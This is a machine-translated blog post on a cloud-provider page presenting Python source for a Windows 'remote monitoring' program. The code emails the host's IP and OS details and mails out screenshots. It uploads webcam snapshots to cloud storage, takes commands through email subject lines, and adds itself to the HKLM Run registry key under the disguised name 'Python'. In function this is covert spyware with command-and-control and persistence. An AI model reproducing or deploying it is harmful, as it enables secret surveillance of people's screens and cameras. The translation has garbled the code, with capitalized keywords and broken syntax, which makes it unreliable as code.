Python operation camera screenshot for remote monitoring example

Source: Internet
Author: User
Recently wrote a remote monitoring program with Python, the main features are:
1. Using Mail control so the function
2. The screen can be sent to the mailbox
3. Can use the camera to get pictures, these images uploaded to seven cattle
4. Boot from boot

The code is as follows:

#
#coding by Loster
#
Import Win32API
Import Win32con
Import Platform
Import socket
Import time
Import OS
Import Smtplib
Import Poplib
From videocapture import Device
From Email.mime.multipart import Mimemultipart
From Email.mime.text import Mimetext
From Email.mime.image import Mimeimage
Import Poplib,email
From Email.header import Decode_header
From PIL import Imagegrab
Import qiniu.conf
Import Qiniu.io
Import qiniu.rs
#去七牛申请
Qiniu.conf.ACCESS_KEY = ""
Qiniu.conf.SECRET_KEY = ""

#获取ip
def getip ():
Ip=socket.gethostbyname (Socket.gethostname ())
return IP

#获取操作系统版本,
Def getsystemversion ():
Return Platform.platform ()

def send_information (ip,system_version):
info= ' IP: ' +ip+ ' + ' system version: ' +system_version
Print Info
Smtp=smtplib. SMTP ()
Smtp.connect (' smtp.sina.com ')
Smtp.login (' sender@sina.com ', ' * * * ') #改成自己的邮箱和密码
Smtp.sendmail (' sender@sina.com ', ' reveicer@qq.com ', ip+ ' +system_version) #把接收邮箱改成自己另外一个邮箱
#, picture name is time
Def screen_capture ():
#获取时间
Pic_time=time.strftime ('%y%m%d%h%m%s ', Time.localtime (Time.time ()))
#pic_name = ' screen_capture ' +time.strftime ('%y%m%d%h%m%s ', Time.localtime (Time.time ()))
Pic_name= ' screen ' +pic_time+ '. jpg '
pic = Imagegrab.grab ()
Pic.save ('%s '% pic_name)
Print Pic_name
#发送图片
Send_img (Pic_time,pic_name)
Print Pic_name
Os.remove (Pic_name) #删除图片

#发送图片到邮箱
def send_img (pic_time,pic_name):
Msgroot = Mimemultipart (' related ')
msgroot[' Subject '] = pic_ Time

Msgtext = Mimetext (' capture
', ' html ', ' Utf-8 ')
Msgroot.attach (msgtext)

#fp = open (' F:\\1.jpg ', ' RB ')
fp = open (Pic_name, ' RB ')
Msgimage = Mimeimage (Fp.read ())
Fp.close ()

Msgimage.add _header (' Content-id ', ' ')
Msgroot.attach (msgimage)

SMTP = Smtplib. SMTP ()
Smtp.connect (' smtp.sina.com ', ' ")
Smtp.login (" sender@sina.com "," * * * * * ")
Smtp.sendmail (" Sen Der@sina.com "," receiver@qq.com ", Msgroot.as_string ())
Smtp.quit ()
print ' send Success '

#摄像头, intercepts one
def camera_capture ():
#抓取频率
sleep_time=3
i=0
Cam=device (devnum=0, Sleep_time) showvideowindow=0)
While i<10:

Cam_time=time.strftime ('%y%m%d%h%m%s ', Time.localtime (Time.time ()))
cam_name= ' camera ' +cam_time+ '. jpg '

cam.savesnapshot (cam_name,3,1, ' bl ')
Camera_upload (cam_name)
Print str (i) +cam_name
Os.remove (cam_name)
Time.sleep (sleep_time)
I+=1
#上传到七牛
def Camera_ Upload (file):
Policy = qiniu.rs.PutPolicy (' iloster ') #空间名, Iloster is my space name
Uptoken = Policy.token ()

RET, err = Qiniu.io.put_file (Uptoken, None, file)
If err is not None:
Sys.stderr.write (' ERROR:%s '% err)

#获取最新邮件
Def accept_mail ():
Pop=poplib. Pop3_ssl (' pop.qq.com ')
Pop.user (' receiver@qq.com ')
Pop.pass_ (' * * * * * ')
#获取邮件数目
(num,totalsize) =pop.stat ()
#获取最新的邮件
(heard,msg,octets) =pop.retr (num)
Mail=email.message_from_string ("\ n". Join (MSG))
Subject=email. Header.decode_header (mail[' subject ') [0][0] #标题
Pop.quit ()
Return subject

#获得程序的路径
Def getpath ():
PATH=OS.GETCWD () + ' \remote.exe ' #最后打包的exe程序名必须为Remote. exe, or change it here
Print path
return path
#添加开机自启动, register in the registration table
def add_start (path):
subkey= ' SOFTWARE\Microsoft\Windows\CurrentVersion\Run '
Key=win32api. RegOpenKey (Win32con. Hkey_local_machine,subkey,0,win32con. key_all_access)
#print Win32API. RegQueryValueEx (key, ' Python ')

Win32API. RegSetValueEx (key, ' Python ', 0,win32con. Reg_sz,path)
Print Win32API. RegQueryValueEx (key, ' Python ')
If __name__== ' __main__ ':
Add_start (GetPath ()) #添加开机自启动
Send_information (GetIP (), getsystemversion ())
While 1: #不断的监听
If accept_mail () = = ' Screen ': #当获取的邮件主题为screen时, intercepting the onscreen information
Screen_capture ()
Elif Accept_mail () = = ' Camera ':
Camera_capture ()

Attention:
1. My email is Sina mailbox, the receiving mailbox is QQ mailbox, this is because you can bind QQ mailbox.
2.accept_mail () Listen to the mailbox is their own receiving mailbox, is my QQ mailbox
3. When the monitor hears screen, starts the display and sends to the mailbox, because listens is the latest mail, when the picture sends the mailbox, obtains the message subject is not screen, should stop, finally only then intercepts one picture, continues listens the state. But actually because of the network reason, sends the mail to have the delay, therefore, actually intercepts the picture to have many Zhang
4. When the monitor hears camera, will use the camera, if the while i<10, change to I=1, will let the camera has been, and make other commands expire, so I i<10, is every command, 10

  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.